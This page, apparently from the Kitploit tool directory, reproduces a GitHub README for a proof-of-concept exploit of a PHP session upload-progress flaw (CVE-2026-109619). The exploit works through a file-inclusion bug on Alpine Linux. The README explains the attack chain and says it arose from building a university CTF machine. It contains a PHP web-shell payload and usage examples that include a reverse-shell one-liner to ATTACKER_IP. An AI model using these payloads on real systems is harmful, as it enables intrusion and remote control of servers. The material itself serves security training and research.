Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-109619-Alpine-SessionLFI β€” CVE-2026-109619 session.upload_progress LFI exploit chain β€” Alpine/musl compatible PoC | Kitploit
Tools/GitHubGitHub/oresti-jorgjiu/cve-2026-109619-alpine-sessionlfi
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityCTFPenetration Testing
GitHuboresti-jorgjiu/cve-2026-109619-alpine-sessionlfi

CVE-2026-109619-Alpine-SessionLFI

CVE-2026-109619 session.upload_progress LFI exploit chain β€” Alpine/musl compatible PoC

View Repository
11 days agoNot yet reviewed
Share

CVE-2026-109619 β€” PHP session.upload_progress LFI Exploit (Alpine/musl)

For educational and authorized testing purposes only.

Overview

This repository contains a working proof-of-concept exploit for CVE-2026-109619, targeting PHP's session.upload_progress mechanism.

Most public PoCs for CVE-2026-109618/109619 rely on heap memory corruption and require glibc (Debian/Ubuntu). This exploit takes a different approach β€” it uses PHP's session serializer to inject code into a session file, then triggers execution via an LFI vulnerability in the target application. This chain works on Alpine Linux (musl libc), where the heap-based chains do not.

This was discovered during the development of a vulnerable training machine for a university cybersecurity platform, while investigating why the standard PoCs failed on Alpine.


Technical Background

CVE-2026-109619 is a stale global state vulnerability in PHP's session upload progress handler (ext/session/session.c). When session.upload_progress.enabled = On (PHP's default), PHP writes multipart upload metadata β€” including raw filenames β€” verbatim into the session file on disk.

This exploit chain abuses that behaviour:

  1. The attacker fixes a known session ID via the PHPSESSID cookie
  2. A multipart POST is sent with PHP_SESSION_UPLOAD_PROGRESS set and a filename field containing a PHP payload: <?php system($_GET['cmd']); ?>
  3. PHP writes this payload into /tmp/sess_<id>
  4. An LFI sink in the application (include($_GET['view'])) is used to include the session file while the upload is in progress
  5. PHP parses the session file and executes the injected code

Why this works on Alpine but heap chains do not: The heap corruption in CVE-2026-109618 targets glibc's malloc layout. Alpine uses musl libc, whose allocator behaves differently, so the corruption never lands where the exploit expects. This chain has no heap dependency β€” it is pure PHP logic and works on any libc.


Requirements

On the target:

  • PHP < 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12
  • session.upload_progress.enabled = On (PHP default)
  • Known or guessable session save path (/tmp is the most common)
  • An LFI sink in the application (a page that passes user input to include() or require())

On the attacker machine:

  • Python 3
  • requests library (pip install requests)

Usage

python3 exploit.py <command>

Examples:

# Check code execution
python3 exploit.py id

# Read the flag
python3 exploit.py 'cat /home/apache/user.txt'

# Reverse shell
python3 exploit.py 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'

Edit the configuration block at the top of exploit.py to set your target host, port, LFI path and parameter before running.


Files

FileDescription
exploit.pyThe exploit script
README.mdThis file

Tested On

OSPHPResult
Alpine Linux 3.208.2.34 (mod_php)βœ… Working

Discovery Context

Found during development of a CTF-style vulnerable machine for a university cybersecurity training platform. The standard CVE-2026-109618 heap chain failed on Alpine due to the musl/glibc incompatibility β€” this chain was written as a working alternative.


References

  • PHP Security Advisory β€” CVE-2026-109619
  • NVD β€” CVE-2026-109619
  • PHP release 8.2.35

Disclaimer

This tool is intended for use against systems you own or have explicit written permission to test. The author accepts no responsibility for misuse.

Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    806
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    635
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    454
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    434
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    384

Explore all tools

Browse our collection of tools

View all tools β†’